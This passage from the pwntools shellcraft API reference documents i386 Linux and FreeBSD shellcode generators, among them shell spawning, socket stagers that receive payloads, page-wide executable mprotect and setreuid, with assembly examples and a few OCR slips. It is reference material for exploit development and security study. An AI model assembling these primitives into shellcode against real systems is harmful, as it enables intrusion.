- **fd**(int)-fd
- path (char) path
- mode (mode_t) mode
- **dev** (dev_t) dev

pwnlib.shellcraft.i386.linux.mlock(addr, length)

Invokes the syscall mlock. See 'man 2 mlock' for more information.

Parameters

• addr (void) - addr

• len (size t) - len

pwnlib.shellcraft.i386.linux.mlockall(flags)

Invokes the syscall mlockall. See 'man 2 mlockall' for more information.

Parameters flags (int) - flags

pwnlib.shellcraft.i386.linux.mmap (addr=0, length=4096, prot=7, flags=34, fd=-1, offset=0) Invokes the syscall mmap. See 'man 2 mmap' for more information.

Parameters

- addr (void) addr
- length (size_t) length
- prot (int) prot
- flags (int) flags
- **fd**(int)-fd
- offset (off t) offset

pwnlib.shellcraft.i386.linux.mov (dest, src, stack_allowed=True)

Thin wrapper around pwnlib.shellcraft.i386.mov(), which sets context.os to 'linux' before calling.

Example

```
>>> print pwnlib.shellcraft.i386.linux.mov('eax', 'SYS_execve').rstrip()
push (SYS_execve) /* 0xb */
pop eax
```

pwnlib.shellcraft.i386.linux.mprotect (addr, length, prot)

Invokes the syscall mprotect. See 'man 2 mprotect' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len
- **prot** (int) prot

pwnlib.shellcraft.i386.linux.mprotect_all(clear_ebx=True, fix_null=False)

Calls mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) for every page.

It takes around 0.3 seconds on my box, but your milage may vary.

Parameters

- clear_ebx (bool) If this is set to False, then the shellcode will assume that ebx has already been zeroed.
- **fix_null** (bool) If this is set to True, then the NULL-page will also be mprotected at the cost of slightly larger shellcode

pwnlib.shellcraft.i386.linux.mq_notify(mqdes, notification)

Invokes the syscall mq_notify. See 'man 2 mq_notify' for more information.

- mqdes (mqd_t) mqdes
- notification (sigevent) notification

pwnlib.shellcraft.i386.linux.mq_open(name, oflag, vararg)

Invokes the syscall mq_open. See 'man 2 mq_open' for more information.

Parameters

- name (char) name
- oflag (int) oflag
- **vararg** (int) vararg

Invokes the syscall mq_timedreceive. See 'man 2 mq_timedreceive' for more information.

Parameters

- mqdes (mqd_t) mqdes
- msg_ptr (char) msg_ptr
- msg_len (size_t) msg_len
- msg_prio (unsigned) msg_prio
- abs_timeout (timespec) abs_timeout

Invokes the syscall mq_timedsend. See 'man 2 mq_timedsend' for more information.

Parameters

- mqdes (mqd_t) mqdes
- msg_ptr (char) msg_ptr
- msg_len (size_t) msg_len
- msg_prio (unsigned) msg_prio
- abs_timeout (timespec) abs_timeout

pwnlib.shellcraft.i386.linux.mq_unlink(name)

Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information.

Parameters name (char) – name

pwnlib.shellcraft.i386.linux.mremap (addr, old_len, new_len, flags, vararg) Invokes the syscall mremap. See 'man 2 mremap' for more information.

Parameters

- addr (void) addr
- old_len (size_t) old_len
- new_len (size_t) new_len
- flags (int) flags
- vararg (int) vararg

pwnlib.shellcraft.i386.linux.msync(addr, length, flags)

Invokes the syscall msync. See 'man 2 msync' for more information.

Parameters

• **addr** (*void*) – addr

- len (size t) len
- flags (int) flags

pwnlib.shellcraft.i386.linux.munlock(addr, length)

Invokes the syscall munlock. See 'man 2 munlock' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len

pwnlib.shellcraft.i386.linux.munlockall()

Invokes the syscall munlockall. See 'man 2 munlockall' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.munmap(addr, length)

Invokes the syscall munmap. See 'man 2 munmap' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len

pwnlib.shellcraft.i386.linux.nanosleep(requested_time, remaining)

Invokes the syscall nanosleep. See 'man 2 nanosleep' for more information.

Parameters

- requested_time (timespec) requested_time
- remaining (timespec) remaining

pwnlib.shellcraft.i386.linux.nice(inc)

Invokes the syscall nice. See 'man 2 nice' for more information.

pwnlib.shellcraft.i386.linux.open (file, oflag, vararg)

Invokes the syscall open. See 'man 2 open' for more information.

Parameters

- file (char) file
- oflag(int) oflag
- **vararg** (*int*) vararg

pwnlib.shellcraft.i386.linux.openat (fd, file, oflag, vararg)

Invokes the syscall openat. See 'man 2 openat' for more information.

Parameters

- **fd** (int) fd
- file (char) file
- oflag (int) oflag
- vararg(int) vararg

pwnlib.shellcraft.i386.linux.pause()

Invokes the syscall pause. See 'man 2 pause' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.pidmax()

Retrieves the highest numbered PID on the system, according to the systel kernel.pid_max.

pwnlib.shellcraft.i386.linux.pipe (pipedes)

Invokes the syscall pipe. See 'man 2 pipe' for more information.

Parameters pipedes (int) - pipedes

pwnlib.shellcraft.i386.linux.pipe2 (pipedes, flags)

Invokes the syscall pipe2. See 'man 2 pipe2' for more information.

Parameters

- pipedes (int) pipedes
- flags (int) flags

pwnlib.shellcraft.i386.linux.poll(fds, nfds, timeout)

Invokes the syscall poll. See 'man 2 poll' for more information.

Parameters

- **fds** (pollfd) fds
- nfds (nfds_t) nfds
- timeout (int) timeout

pwnlib.shellcraft.i386.linux.ppoll (fds, nfds, timeout, ss)

Invokes the syscall ppoll. See 'man 2 ppoll' for more information.

Parameters

- **fds** (pollfd) fds
- **nfds** (nfds_t) nfds
- timeout (timespec) timeout
- **ss** (sigset_t) ss

pwnlib.shellcraft.i386.linux.prctl(option, *vararg)

Invokes the syscall prctl. See 'man 2 prctl' for more information.

Parameters

- option (int) option
- **vararg** (*int*) vararg

pwnlib.shellcraft.i386.linux.pread(fd, buf, nbytes, offset)

Invokes the syscall pread. See 'man 2 pread' for more information.

Parameters

- **fd** (int) fd
- **buf** (*void*) **buf**
- **nbytes** (size_t) **nbytes**
- offset (off t) offset

pwnlib.shellcraft.i386.linux.preadv (fd, iovec, count, offset)

Invokes the syscall pready. See 'man 2 pready' for more information.

Parameters

• fd (int) - fd

- iovec (iovec) iovec
- count (int) count
- offset (off_t) offset

pwnlib.shellcraft.i386.linux.prlimit64 (pid, resource, new_limit, old_limit)
Invokes the syscall prlimit64. See 'man 2 prlimit64' for more information.

Parameters

- **pid** (pid_t) **pid**
- resource (rlimit_resource) resource
- new limit (rlimit64) new limit
- old_limit (rlimit64) old_limit

pwnlib.shellcraft.i386.linux.**profil** (sample_buffer, size, offset, scale) Invokes the syscall profil. See 'man 2 profil' for more information.

Parameters

- sample_buffer (unsigned) sample_buffer
- **size** (*size_t*) **size**
- **offset** (*size_t*) offset
- scale (unsigned) scale

pwnlib.shellcraft.i386.linux.ptrace(request, *vararg)
Invokes the syscall ptrace. See 'man 2 ptrace' for more information.

Parameters

- request (ptrace_request) request
- **vararg** (int) vararg

pwnlib.shellcraft.i386.linux.push(value)

Thin wrapper around pwnlib.shellcraft.i386.push(), which sets context.os to 'linux' before calling.

Example

```
>>> print pwnlib.shellcraft.i386.linux.push('SYS_execve').rstrip()
   /* push (SYS_execve) (0xb) */
   push 0xb
```

pwnlib.shellcraft.i386.linux.putpmsg (fildes, ctlptr, dataptr, band, flags)
Invokes the syscall putpmsg. See 'man 2 putpmsg' for more information.

- fildes (int) fildes
- ctlptr (strbuf) ctlptr
- dataptr (strbuf) dataptr
- band (int) band
- flags (int) flags

pwnlib.shellcraft.i386.linux.pwrite(fd, buf, n, offset)

Invokes the syscall pwrite. See 'man 2 pwrite' for more information.

Parameters

- **fd** (int) fd
- **buf** (*void*) **buf**
- \mathbf{n} (size t)- \mathbf{n}
- offset (off t) offset

pwnlib.shellcraft.i386.linux.pwritev(fd, iovec, count, offset)

Invokes the syscall pwritev. See 'man 2 pwritev' for more information.

Parameters

- **fd** (int) fd
- iovec (iovec) iovec
- count (int) count
- offset (off_t) offset

pwnlib.shellcraft.i386.linux.read(fd, buf, nbytes)

Invokes the syscall read. See 'man 2 read' for more information.

Parameters

- **fd**(int)-fd
- buf (void) buf
- **nbytes** (size_t) **nbytes**

pwnlib.shellcraft.i386.linux.readahead (fd, offset, count)

Invokes the syscall readahead. See 'man 2 readahead' for more information.

Parameters

- **fd**(int)-fd
- offset (off64_t) offset
- count (size_t) count

pwnlib.shellcraft.i386.linux.readdir(dirp)

Invokes the syscall readdir. See 'man 2 readdir' for more information.

Parameters dirp (DIR) - dirp

pwnlib.shellcraft.i386.linux.readfile(path, dst='esi')

Args: [path, dst (imm/reg) = esi] Opens the specified file path and sends its content to the specified file descriptor.

pwnlib.shellcraft.i386.linux.readlink(path, buf, length)

Invokes the syscall readlink. See 'man 2 readlink' for more information.

- path (char) path
- buf (char) buf
- len(size t)-len

pwnlib.shellcraft.i386.linux.readlinkat(fd, path, buf, length)

Invokes the syscall readlinkat. See 'man 2 readlinkat' for more information.

Parameters

- **fd**(int)-fd
- path (char) path
- buf (char) buf
- **len** (*size_t*) len

pwnlib.shellcraft.i386.linux.readn (fd, buf, nbytes)

Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- fd(int)-fd
- **buf** (*void*) **buf**
- **nbytes** (size_t) nbytes

pwnlib.shellcraft.i386.linux.readv (fd, iovec, count)

Invokes the syscall readv. See 'man 2 readv' for more information.

Parameters

- **fd** (int) fd
- iovec (iovec) iovec
- count (int) count

pwnlib.shellcraft.i386.linux.recv(fd, buf, n, flags)

Invokes the syscall recv. See 'man 2 recv' for more information.

Parameters

- **fd**(int)-fd
- buf (void) buf
- n(size_t)-n
- flags (int) flags

pwnlib.shellcraft.i386.linux.recvfrom(fd, buf, n, flags, addr, addr_len)

Invokes the syscall recvfrom. See 'man 2 recvfrom' for more information.

Parameters

- **fd**(int)-fd
- **buf** (*void*) **buf**
- **n**(size_t)-n
- flags (int) flags
- addr (SOCKADDR_ARG) addr
- addr_len (socklen_t) addr_len

pwnlib.shellcraft.i386.linux.recvmmsg(fd, vmessages, vlen, flags, tmo)

Invokes the syscall recymmsg. See 'man 2 recymmsg' for more information.

Parameters

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- **fd** (int) fd
- vmessages (mmsghdr) vmessages
- vlen (unsigned) vlen
- flags (int) flags
- tmo (timespec) tmo

pwnlib.shellcraft.i386.linux.recvmsq(fd, message, flags)

Invokes the syscall recvmsg. See 'man 2 recvmsg' for more information.

Parameters

- **fd**(int)-fd
- message (msqhdr) message
- flags (int) flags

pwnlib.shellcraft.i386.linux.recvsize(sock, reg='ecx')

Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

Leaves socket in ebx

pwnlib.shellcraft.i386.linux.remap_file_pages (start, size, prot, pgoff, flags) Invokes the syscall remap_file_pages. See 'man 2 remap_file_pages' for more information.

Parameters

- start (void) start
- **size** (*size_t*) **size**
- prot (int) prot
- **pgoff** (size_t) pgoff
- flags (int) flags

pwnlib.shellcraft.i386.linux.rename(old, new)

Invokes the syscall rename. See 'man 2 rename' for more information.

Parameters

- old(char)-old
- new (char) new

pwnlib.shellcraft.i386.linux.renameat (oldfd, old, newfd, new)

Invokes the syscall renameat. See 'man 2 renameat' for more information.

Parameters

- oldfd(int)-oldfd
- old(char)-old
- newfd (int) newfd
- new (char) new

pwnlib.shellcraft.i386.linux.rmdir(path)

Invokes the syscall rmdir. See 'man 2 rmdir' for more information.

Parameters path (char) - path

pwnlib.shellcraft.i386.linux.sched_get_priority_max(algorithm)

Invokes the syscall sched_get_priority_max. See 'man 2 sched_get_priority_max' for more information.

Parameters algorithm (*int*) – algorithm

pwnlib.shellcraft.i386.linux.sched_get_priority_min(algorithm)

Invokes the syscall sched_get_priority_min. See 'man 2 sched_get_priority_min' for more information.

Parameters algorithm (*int*) – algorithm

pwnlib.shellcraft.i386.linux.sched_getaffinity(pid, cpusetsize, cpuset)

Invokes the syscall sched_getaffinity. See 'man 2 sched_getaffinity' for more information.

Parameters

- **pid** (pid_t) **pid**
- cpusetsize (size_t) cpusetsize
- cpuset (cpu_set_t) cpuset

pwnlib.shellcraft.i386.linux.sched_getparam(pid, param)

Invokes the syscall sched_getparam. See 'man 2 sched_getparam' for more information.

Parameters

- **pid** (pid_t) **pid**
- param (sched_param) param

pwnlib.shellcraft.i386.linux.sched_getscheduler(pid)

Invokes the syscall sched_getscheduler. See 'man 2 sched_getscheduler' for more information.

Parameters pid (pid_t) - pid

pwnlib.shellcraft.i386.linux.sched_rr_get_interval(pid, t)

Invokes the syscall sched_rr_get_interval. See 'man 2 sched_rr_get_interval' for more information.

Parameters

- **pid** (pid_t) **pid**
- t(timespec) t

pwnlib.shellcraft.i386.linux.sched_setaffinity(pid, cpusetsize, cpuset)

Invokes the syscall sched_setaffinity. See 'man 2 sched_setaffinity' for more information.

Parameters

- **pid** (pid_t) **pid**
- cpusetsize (size t) cpusetsize
- cpuset (cpu_set_t) cpuset

pwnlib.shellcraft.i386.linux.sched_setparam(pid, param)

Invokes the syscall sched_setparam. See 'man 2 sched_setparam' for more information.

Parameters

- **pid** (pid_t) **pid**
- param (sched_param) param

pwnlib.shellcraft.i386.linux.sched_setscheduler(pid, policy, param)

Invokes the syscall sched_setscheduler. See 'man 2 sched_setscheduler' for more information.

- **pid** (pid_t) **pid**
- policy (int) policy
- param (sched_param) param

pwnlib.shellcraft.i386.linux.sched_yield()

Invokes the syscall sched_yield. See 'man 2 sched_yield' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.**select** (*nfds*, *readfds*, *writefds*, *exceptfds*, *timeout*) Invokes the syscall select. See 'man 2 select' for more information.

Parameters

- nfds (int) nfds
- readfds (fd_set) readfds
- writefds (fd_set) writefds
- exceptfds (fd_set) exceptfds
- timeout (timeval) timeout

pwnlib.shellcraft.i386.linux.**sendfile** (*out_fd*, *in_fd*, *offset*, *count*) Invokes the syscall sendfile. See 'man 2 sendfile' for more information.

Parameters

- out fd(int) out fd
- in_fd (int) in_fd
- offset (off_t) offset
- count (size_t) count

pwnlib.shellcraft.i386.linux.**sendfile64** (*out_fd*, *in_fd*, *offset*, *count*) Invokes the syscall sendfile64. See 'man 2 sendfile64' for more information.

Parameters

- out_fd(int) out_fd
- in_fd(int)-in_fd
- offset (off64_t) offset
- count (size_t) count

pwnlib.shellcraft.i386.linux.setdomainname(name, length)

Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information.

Parameters

- name (char) name
- **len** (*size_t*) len

pwnlib.shellcraft.i386.linux.setgid(gid)

Invokes the syscall setgid. See 'man 2 setgid' for more information.

Parameters $gid(gid_t) - gid$

pwnlib.shellcraft.i386.linux.setgroups(n, groups)

Invokes the syscall setgroups. See 'man 2 setgroups' for more information.

Parameters

- n(size_t)-n
- **groups** (gid_t) groups

pwnlib.shellcraft.i386.linux.sethostname(name, length)

Invokes the syscall sethostname. See 'man 2 sethostname' for more information.

Parameters

- name (char) name
- **len** (*size_t*) len

pwnlib.shellcraft.i386.linux.setitimer(which, new, old)

Invokes the syscall setitimer. See 'man 2 setitimer' for more information.

Parameters

- which (itimer_which_t) which
- new (itimerval) new
- old(itimerval)-old

pwnlib.shellcraft.i386.linux.setpgid(pid, pgid)

Invokes the syscall setpgid. See 'man 2 setpgid' for more information.

Parameters

- **pid** (pid_t) **pid**
- **pgid** (pid_t) **pgid**

pwnlib.shellcraft.i386.linux.setpriority(which, who, prio)

Invokes the syscall setpriority. See 'man 2 setpriority' for more information.

Parameters

- which (priority_which_t) which
- **who** (*id_t*) who
- prio (int) prio

pwnlib.shellcraft.i386.linux.setregid(gid='egid')

Args: [gid (imm/reg) = egid] Sets the real and effective group id.

pwnlib.shellcraft.i386.linux.setresgid(rgid, egid, sgid)

Invokes the syscall setresgid. See 'man 2 setresgid' for more information.

Parameters

- rgid (gid_t) rgid
- egid (gid_t) egid
- **sgid** (*gid_t*) **sgid**

pwnlib.shellcraft.i386.linux.setresuid(ruid, euid, suid)

Invokes the syscall setresuid. See 'man 2 setresuid' for more information.

- ruid (uid_t) ruid
- **euid** (*uid_t*) **euid**

```
• suid (uid t) - suid
```

```
pwnlib.shellcraft.i386.linux.setreuid(uid='euid')
```

Args: [uid (imm/reg) = euid] Sets the real and effective user id.

pwnlib.shellcraft.i386.linux.setrlimit(resource, rlimits)

Invokes the syscall setrlimit. See 'man 2 setrlimit' for more information.

Parameters

- resource (rlimit_resource_t) resource
- rlimits (rlimit) rlimits

pwnlib.shellcraft.i386.linux.setsid()

Invokes the syscall setsid. See 'man 2 setsid' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.setsockopt (sockfd, level, optname, optval, optlen)

Invokes the syscall setsockopt. See 'man 2 setsockopt' for more information.

Parameters

- sockfd(int) sockfd
- level (int) level
- optname (int) optname
- optval (void) optval
- optlen (int) optlen

pwnlib.shellcraft.i386.linux.setsockopt_timeout(sock, secs)

Invokes the syscall fork. See 'man 2 fork' for more information.

Parameters

- sock (int) sock
- secs (int) secs

pwnlib.shellcraft.i386.linux.settimeofday(tv, tz)

Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information.

Parameters

- **tv**(timeval)-tv
- tz(timezone) tz

pwnlib.shellcraft.i386.linux.setuid(uid)

Invokes the syscall setuid. See 'man 2 setuid' for more information.

Parameters uid (uid_t) - uid

pwnlib.shellcraft.i386.linux.sh()

Execute a different process.

```
>>> p = run_assembly(shellcraft.i386.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

```
pwnlib.shellcraft.i386.linux.sigaction(sig, act, oact)
```

Invokes the syscall sigaction. See 'man 2 sigaction' for more information.

Parameters

- **sig** (int) sig
- act (sigaction) act
- oact (sigaction) oact

pwnlib.shellcraft.i386.linux.sigaltstack(ss, oss)

Invokes the syscall sigaltstack. See 'man 2 sigaltstack' for more information.

Parameters

- ss(sigaltstack) ss
- oss (sigaltstack) oss

pwnlib.shellcraft.i386.linux.signal(sig, handler)

Invokes the syscall signal. See 'man 2 signal' for more information.

Parameters

- **sig** (int) **sig**
- handler (sighandler_t) handler

pwnlib.shellcraft.i386.linux.sigpending(set)

Invokes the syscall sigpending. See 'man 2 sigpending' for more information.

pwnlib.shellcraft.i386.linux.sigprocmask(how, set, oset)

Invokes the syscall sigprocmask. See 'man 2 sigprocmask' for more information.

Parameters

- **how** (*int*) how
- **set** (sigset_t) **set**
- oset (sigset_t) oset

pwnlib.shellcraft.i386.linux.sigreturn()

Invokes the syscall sigreturn. See 'man 2 sigreturn' for more information.

pwnlib.shellcraft.i386.linux.sigsuspend(set)

Invokes the syscall sigsuspend. See 'man 2 sigsuspend' for more information.

pwnlib.shellcraft.i386.linux.socket(network='ipv4', proto='tcp')

Creates a new socket

pwnlib.shellcraft.i386.linux.socketcall (socketcall, socket, sockaddr, sockaddr_len)
Invokes a socket call (e.g. socket, send, recv, shutdown)

pwnlib.shellcraft.i386.linux.splice(fdin, offin, fdout, offout, length, flags)

Invokes the syscall splice. See 'man 2 splice' for more information.

- fdin (int) fdin
- **offin** (off64_t) offin
- **fdout** (*int*) fdout
- offout (off64_t) offout

- len (size t) len
- flags (unsigned) flags

pwnlib.shellcraft.i386.linux.stage(fd=0, length=None)

Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

```
pwnlib.shellcraft.i386.linux.stager(sock, size, handle_error=False, tiny=False)
```

Recives a fixed sized payload into a mmaped buffer Useful in conjuncion with findpeer. :param sock, the socket to read the payload from.: :param size, the size of the payload:

```
pwnlib.shellcraft.i386.linux.stat(file, buf)
```

Invokes the syscall stat. See 'man 2 stat' for more information.

Parameters

- file (char) file
- buf (stat) buf

pwnlib.shellcraft.i386.linux.stat64(file, buf)

Invokes the syscall stat64. See 'man 2 stat64' for more information.

Parameters

- file (char) file
- **buf** (stat64) buf

pwnlib.shellcraft.i386.linux.stime(when)

Invokes the syscall stime. See 'man 2 stime' for more information.

pwnlib.shellcraft.i386.linux.stty(fd, params)

Invokes the syscall stty. See 'man 2 stty' for more information.

Parameters

- **fd** (int) fd
- params (sqttyb) params

 $\verb|pwnlib.shellcraft.i386.linux.symlink| (\textit{from}_, \textit{to})$

Invokes the syscall symlink. See 'man 2 symlink' for more information.

Parameters

• **from** (char) – from

```
• to (char) - to
```

pwnlib.shellcraft.i386.linux.symlinkat(from_, tofd, to)

Invokes the syscall symlinkat. See 'man 2 symlinkat' for more information.

Parameters

- from (char) from
- tofd(int)-tofd
- to (char) to

pwnlib.shellcraft.i386.linux.sync()

Invokes the syscall sync. See 'man 2 sync' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.sync_file_range (fd, offset, count, flags)

Invokes the syscall sync_file_range. See 'man 2 sync_file_range' for more information.

Parameters

- **fd** (int) fd
- offset (off64_t) offset
- **count** (off64 t) count
- flags (unsigned) flags

pwnlib.shellcraft.i386.linux.**syscall**(syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by pwnlib.constants.eval().

Example

```
>>> print pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 1, 'esp', 2, 0).rstrip()
    /* call execve(1, 'esp', 2, 0) */
   push (SYS_execve) /* 0xb */
   pop eax
   push 1
    pop ebx
   mov ecx, esp
    push 2
    pop edx
    xor esi, esi
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip()
    /* call execve(2, 1, 0, 0x14) */
   push (SYS_execve) /* 0xb */
    pop eax
    push 2
   pop ebx
    push 1
    pop ecx
    push 0x14
    pop esi
    cdq /* edx=0 */
    int 0x80
```

```
>>> print pwnlib.shellcraft.i386.linux.syscall().rstrip()
    /* call syscall() */
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('eax', 'ebx', 'ecx').rstrip()
    /* call syscall('eax', 'ebx', 'ecx') */
    /* setregs noop */
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('ebp', None, None, 1).rstrip()
    /* call syscall('ebp', ?, ?, 1) */
   mov eax, ebp
   push 1
   pop edx
   int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall(
                  'SYS_mmap2', 0, 0x1000,
                  'PROT_READ | PROT_WRITE | PROT_EXEC',
                  'MAP_PRIVATE | MAP_ANONYMOUS',
                  -1, 0).rstrip()
   /* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS'
   xor eax, eax
   mov al, 0xc0
   xor ebp, ebp
    xor ebx, ebx
    xor ecx, ecx
   mov ch, 0x1000 >> 8
    push -1
    pop edi
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop edx
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop esi
    int 0x80
```

pwnlib.shellcraft.i386.linux.syslog(pri, fmt, vararg)

Invokes the syscall syslog. See 'man 2 syslog' for more information.

Parameters

- **pri** (int) **pri**
- fmt (char) fmt
- vararg (int) vararg

pwnlib.shellcraft.i386.linux.tee (fdin, fdout, length, flags)

Invokes the syscall tee. See 'man 2 tee' for more information.

Parameters

- fdin (int) fdin
- fdout (int) fdout
- **len** (*size_t*) len
- flags (unsigned) flags

pwnlib.shellcraft.i386.linux.time (timer)

Invokes the syscall time. See 'man 2 time' for more information.

Parameters timer (time_t) - timer

pwnlib.shellcraft.i386.linux.timer_create(clock_id, evp, timerid)

Invokes the syscall timer_create. See 'man 2 timer_create' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- evp (sigevent) evp
- timerid(timer t) timerid

pwnlib.shellcraft.i386.linux.timer_delete(timerid)

Invokes the syscall timer_delete. See 'man 2 timer_delete' for more information.

Parameters timerid (timer_t) - timerid

pwnlib.shellcraft.i386.linux.timer_getoverrum(timerid)

Invokes the syscall timer_getoverrun. See 'man 2 timer_getoverrun' for more information.

Parameters timerid (timer_t) - timerid

pwnlib.shellcraft.i386.linux.timer_gettime (timerid, value)

Invokes the syscall timer_gettime. See 'man 2 timer_gettime' for more information.

Parameters

- timerid(timer_t) timerid
- value (itimerspec) value

pwnlib.shellcraft.i386.linux.timer_settime(timerid, flags, value, ovalue)
Invokes the syscall timer settime. See 'man 2 timer settime' for more information.

Parameters

- timerid(timer_t) timerid
- flags (int) flags
- value (itimerspec) value
- ovalue (itimerspec) ovalue

pwnlib.shellcraft.i386.linux.truncate(file, length)

Invokes the syscall truncate. See 'man 2 truncate' for more information.

Parameters

- file (char) file
- length (off_t) length

pwnlib.shellcraft.i386.linux.truncate64 (file, length)

Invokes the syscall truncate64. See 'man 2 truncate64' for more information.

Parameters

- file (char) file
- length (off64_t) length

pwnlib.shellcraft.i386.linux.ulimit(cmd, vararg)

Invokes the syscall ulimit. See 'man 2 ulimit' for more information.

- cmd (int) cmd
- **vararg** (*int*) vararg

pwnlib.shellcraft.i386.linux.umask(mask)

Invokes the syscall umask. See 'man 2 umask' for more information.

Parameters mask (mode_t) - mask

pwnlib.shellcraft.i386.linux.uname(name)

Invokes the syscall uname. See 'man 2 uname' for more information.

Parameters name (utsname) - name

pwnlib.shellcraft.i386.linux.unlink(name)

Invokes the syscall unlink. See 'man 2 unlink' for more information.

Parameters name (char) - name

pwnlib.shellcraft.i386.linux.unlinkat(fd, name, flag)

Invokes the syscall unlinkat. See 'man 2 unlinkat' for more information.

Parameters

- **fd**(int)-fd
- name (char) name
- flag(int) flag

pwnlib.shellcraft.i386.linux.unshare(flags)

Invokes the syscall unshare. See 'man 2 unshare' for more information.

Parameters flags (int) - flags

pwnlib.shellcraft.i386.linux.ustat(dev, ubuf)

Invokes the syscall ustat. See 'man 2 ustat' for more information.

Parameters

- **dev** (dev t) dev
- **ubuf** (ustat) ubuf

pwnlib.shellcraft.i386.linux.utime (file, file_times)

Invokes the syscall utime. See 'man 2 utime' for more information.

Parameters

- file (char) file
- **file_times** (utimbuf) file_times

pwnlib.shellcraft.i386.linux.utimensat (fd, path, times, flags)

Invokes the syscall utimensat. See 'man 2 utimensat' for more information.

Parameters

- **fd**(int)-fd
- path (char) path
- times (timespec) times
- flags (int) flags

pwnlib.shellcraft.i386.linux.utimes (file, tvp)

Invokes the syscall utimes. See 'man 2 utimes' for more information.

Parameters

• file (char) - file

• tvp (timeval) - tvp

pwnlib.shellcraft.i386.linux.vfork()

Invokes the syscall vfork. See 'man 2 vfork' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.vhangup()

Invokes the syscall vhangup. See 'man 2 vhangup' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.**vmsplice** (*fdout*, *iov*, *count*, *flags*)
Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information.

Parameters

- fdout (int) fdout
- iov (iovec) iov
- count (size_t) count
- flags (unsigned) flags

pwnlib.shellcraft.i386.linux.wait4 (pid, stat_loc, options, usage) Invokes the syscall wait4. See 'man 2 wait4' for more information.

Parameters

- **pid** (pid_t) **pid**
- stat_loc (WAIT_STATUS) stat_loc
- options (int) options
- usage (rusage) usage

pwnlib.shellcraft.i386.linux.waitid(idtype, id, infop, options)
Invokes the syscall waitid. See 'man 2 waitid' for more information.

Parameters

- idtype (idtype_t) idtype
- **id** (*id_t*) **id**
- **infop** (siginfo_t) **infop**
- options (int) options

pwnlib.shellcraft.i386.linux.waitpid(pid, stat_loc, options) Invokes the syscall waitpid. See 'man 2 waitpid' for more information.

Parameters

- **pid** (pid_t) **pid**
- stat_loc(int) stat_loc
- options (int) options

pwnlib.shellcraft.i386.linux.write(fd, buf, n)

Invokes the syscall write. See 'man 2 write' for more information.

Parameters

• fd(int)-fd

```
• buf (void) - buf
```

```
• \mathbf{n} (size t)-\mathbf{n}
```

pwnlib.shellcraft.i386.linux.writev(fd, iovec, count)

Invokes the syscall writev. See 'man 2 writev' for more information.

Parameters

- fd(int)-fd
- iovec (iovec) iovec
- count (int) count

pwnlib.shellcraft.i386.freebsd

Shellcraft module containing Intel i386 shellcodes for FreeBSD.

```
pwnlib.shellcraft.i386.freebsd.acceptloop_ipv4 (port)
```

Args: port Waits for a connection. Leaves socket in EBP. ipv4 only

```
pwnlib.shellcraft.i386.freebsd.i386_to_amd64()
```

Returns code to switch from i386 to amd64 mode.

```
pwnlib.shellcraft.i386.freebsd.mov(dest, src, stack_allowed=True)
```

Thin wrapper around pwnlib.shellcraft.i386.mov(), which sets context.os to 'freebsd' before calling.

Example

```
>>> print pwnlib.shellcraft.i386.freebsd.mov('eax', 'SYS_execve').rstrip()
push (SYS_execve) /* 0x3b */
pop eax
```

```
pwnlib.shellcraft.i386.freebsd.push(value)
```

Thin wrapper around pwnlib.shellcraft.i386.push(), which sets context.os to 'freebsd' before calling.

Example

```
>>> print pwnlib.shellcraft.i386.freebsd.push('SYS_execve').rstrip()
/* push (SYS_execve) (0x3b) */
push 0x3b
```

```
pwnlib.shellcraft.i386.freebsd.sh()
```

Execute /bin/sh

pwnlib.regsort — Register sorting

Topographical sort

```
pwnlib.regsort.check_cycle(reg, assignments)
```

Walk down the assignment list of a register, return the path walked if it is encountered again.

Returns The list of register involved in the cycle. If there is no cycle, this is an empty list.

Example

pwnlib.regsort.extract_dependencies (reg, assignments)

Return a list of all registers which directly depend on the specified register.

Example

```
>>> extract_dependencies('a', {'a': 1})
[]
>>> extract_dependencies('a', {'a': 'b', 'b': 1})
[]
>>> extract_dependencies('a', {'a': 1, 'b': 'a'})
['b']
>>> extract_dependencies('a', {'a': 1, 'b': 'a', 'c': 'a'})
['b', 'c']
```

pwnlib.regsort.regsort(in_out, all_regs, tmp=None, xchg=True, randomize=None)
Sorts register dependencies.

Given a dictionary of registers to desired register contents, return the optimal order in which to set the registers to those contents.

The implementation assumes that it is possible to move from any register to any other register.

If a dependency cycle is encountered, one of the following will occur:

